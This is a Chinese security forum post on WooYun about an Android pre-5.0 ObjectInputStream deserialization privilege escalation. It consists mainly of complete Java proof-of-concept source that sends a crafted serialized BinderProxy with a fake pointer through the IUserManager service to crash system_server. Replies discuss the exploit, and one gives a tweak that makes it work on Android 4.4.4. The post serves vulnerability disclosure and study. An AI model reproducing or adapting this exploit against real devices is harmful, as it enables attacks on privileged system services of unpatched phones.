当前位置:WooYun(白帽子技术社区) >> 移动终端安全 >> Android <5.0 ObjectInputStream 权限提升

Android <5.0 ObjectInputStream 权限提升

瘦蛟舞 (科普是一种公益行为) | 2014-11-19 14:12

http://seclists.org/fulldisclosure/2014/Nov/51

android 5.0修复了此漏洞

https://android.googlesource.com/platform/libcore/+/738c833d38d41f8f76eb7e77ab39add82b1ae1e2

POC(重启):
===============================================================================
package net.thejh.badserial;

import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import dalvik.system.DexClassLoader;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;

public class MainActivity extends Activity {
        private static final java.lang.String DESCRIPTOR = "android.os.IUserManager";
        private Class clStub;
        private Class clProxy;
        private int TRANSACTION_setApplicationRestrictions;
        private IBinder mRemote;
        
        public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
        {
                android.os.Parcel _data = android.os.Parcel.obtain();
                android.os.Parcel _reply = android.os.Parcel.obtain();
                try {
                        _data.writeInterfaceToken(DESCRIPTOR);
                        _data.writeString(packageName);
                        _data.writeInt(1);
                        restrictions.writeToParcel(_data, 0);
                        _data.writeInt(userHandle);
                        
                byte[] data = _data.marshall();
                for (int i=0; true; i++) {
                        if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                                data[i] = 'a';
                                data[i+1] = 'n';
                                break;
                        }
                }
                _data.recycle();
                _data = Parcel.obtain();
                _data.unmarshall(data, 0, data.length);
                        
                        mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
                        _reply.readException();
                }
                finally {
                        _reply.recycle();
                        _data.recycle();
                }
        }

        @Override
        public void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_main);

                Log.i("badserial", "starting... (v3)");

                Context ctx = getBaseContext();
                try {
                        Bundle b = new Bundle();
                        AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
                        b.putSerializable("eatthis", evilProxy);
                        
                        Class clIUserManager = Class.forName("android.os.IUserManager");
                        Class[] umSubclasses = clIUserManager.getDeclaredClasses();
                        System.out.println(umSubclasses.length+" inner classes found");
                        Class clStub = null;
                        for (Class c: umSubclasses) {
                                System.out.println("inner class: "+c.getCanonicalName());
                                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                                        clStub = c;
                                }
                        }
                        
                        Field fTRANSACTION_setApplicationRestrictions =
                                        clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
                        fTRANSACTION_setApplicationRestrictions.setAccessible(true);
                        TRANSACTION_setApplicationRestrictions =
                                        fTRANSACTION_setApplicationRestrictions.getInt(null);
                        
                        UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
                        Field fService = UserManager.class.getDeclaredField("mService");
                        fService.setAccessible(true);
                        Object proxy = fService.get(um);
                        
                        Class[] stSubclasses = clStub.getDeclaredClasses();
                        System.out.println(stSubclasses.length+" inner classes found");
                        clProxy = null;
                        for (Class c: stSubclasses) {
                                System.out.println("inner class: "+c.getCanonicalName());
                                if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                                        clProxy = c;
                                }
                        }
                        
                        Field fRemote = clProxy.getDeclaredField("mRemote");
                        fRemote.setAccessible(true);
                        mRemote = (IBinder) fRemote.get(proxy);

                        UserHandle me = android.os.Process.myUserHandle();
                        setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
                        
                        Log.i("badserial", "waiting for boom here and over in the system service...");
                } catch (Exception e) {
                        throw new RuntimeException(e);
                }
        }
}
===============================================================================
package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {
        private static final long serialVersionUID = 0;
        public long mObject = 0x1337beef;
        public long mOrgue = 0x1337beef;
}
===============================================================================

分享到:
  1. 1#
    回复此人 感谢
    0x_Jin (世上人多心不齐) | 2014-11-19 16:23

    Mark

  2. 2#
    回复此人 感谢
    孤独雪狼 (打倒高帅富,推倒白富美!) | 2014-11-20 10:59

    Mark

  3. 3#
    回复此人 感谢
    冰冻冷咖啡 | 2014-11-20 11:24

    Mark!

  4. 4#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2014-11-20 13:26

    怎么用。。。

  5. 5#
    回复此人 感谢
    fly@wolvez | 2014-11-20 14:26

    @瘦蛟舞 方便留个QQ交流下么 。。。

  6. 6#
    回复此人 感谢
    ztaosony | 2014-11-20 18:15

    这怎么用啊

  7. 7#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-11-20 18:38

    Mark!

  8. 8#
    回复此人 感谢
    冰冻冷咖啡 | 2014-11-21 08:40

    @ztaosony 拿Eclipse写一下

  9. 9# 感谢(1)
    回复此人 感谢
    太阳风 (我宣你) | 2014-12-03 16:53

    mark

  10. 10#
    回复此人 感谢
    zzzmode | 2014-12-10 20:17

    最后的0x1337beef指针地址是怎么得到的呢?

  11. 11#
    回复此人 感谢
    李旭敏 (˿̖̗̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̕) | 2014-12-10 20:42

    mark

  12. 12#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2015-01-07 10:42

    http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation/

  13. 13#
    回复此人 感谢
    小荷才露尖尖角 (from doc to code) | 2015-05-14 18:18

    有调过这个漏洞的吗?我在Nexus5 android 4.4.4上测试该POC会重启手机。然而logcat的打印并不像poc那样访问到1337beef这个地址,而是访问到了另一个地址00000004造成的crash,不知何解?
    05-14 17:11:00.321: I/DEBUG(242): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
    05-14 17:11:00.321: I/DEBUG(242): Revision: '11'
    05-14 17:11:00.321: I/DEBUG(242): pid: 8915, tid: 8923, name: FinalizerDaemon  >>> system_server <<<
    05-14 17:11:00.321: I/DEBUG(242): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000004
    05-14 17:11:00.411: I/DEBUG(242):     r0 00000000  r1 401839d9  r2 713b6ae0  r3 6d4c9dc4
    05-14 17:11:00.411: I/DEBUG(242):     r4 401839d9  r5 00000000  r6 713adcd8  r7 00000000
    05-14 17:11:00.411: I/DEBUG(242):     r8 00000000  r9 746d5f68  sl 713b6af0  fp 74a78b24
    05-14 17:11:00.411: I/DEBUG(242):     ip 401bb8a4  sp 74a78ae8  lr 40182981  pc 400d0176  cpsr 200d0030

  14. 14#
    回复此人 感谢
    小荷才露尖尖角 (from doc to code) | 2015-05-14 18:38

    哦,已解决。在Android 4.4.4中, 要将POC中的mObject mOrgue这两个变量设置为private int类型

  15. 15#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2015-05-14 19:33

    @小荷才露尖尖角 https://github.com/retme7/CVE-2014-7911_poc

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录